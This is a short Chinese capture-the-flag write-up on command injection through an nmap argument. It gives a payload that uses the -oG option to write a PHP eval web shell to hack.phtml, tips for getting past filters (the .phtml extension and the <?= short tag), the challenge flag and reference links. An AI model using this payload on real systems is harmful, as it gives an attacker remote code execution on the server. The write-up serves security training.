payload：127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
nmap
`-oG`:将扫描结果输出到一个文本文件中，G代表生成一种称为"grepable output"（可用于grep命令的输出）的格式，这种格式是一种易于处理的文本格式。
写入`hack.phtml`而不是`hack.php`的原因在于php可能被过滤了
`<?php`也可以换成短标签`<?=`
最后用蚁剑连接，得到flag{04630fdb-7b7d-4282-a334-b35954b56c1d}
参考链接：
https://blog.csdn.net/weixin_44037296/article/details/110893526
https://www.cnblogs.com/AikN/p/15727575.html
https://www.cnblogs.com/Sentry-fei/p/15671032.html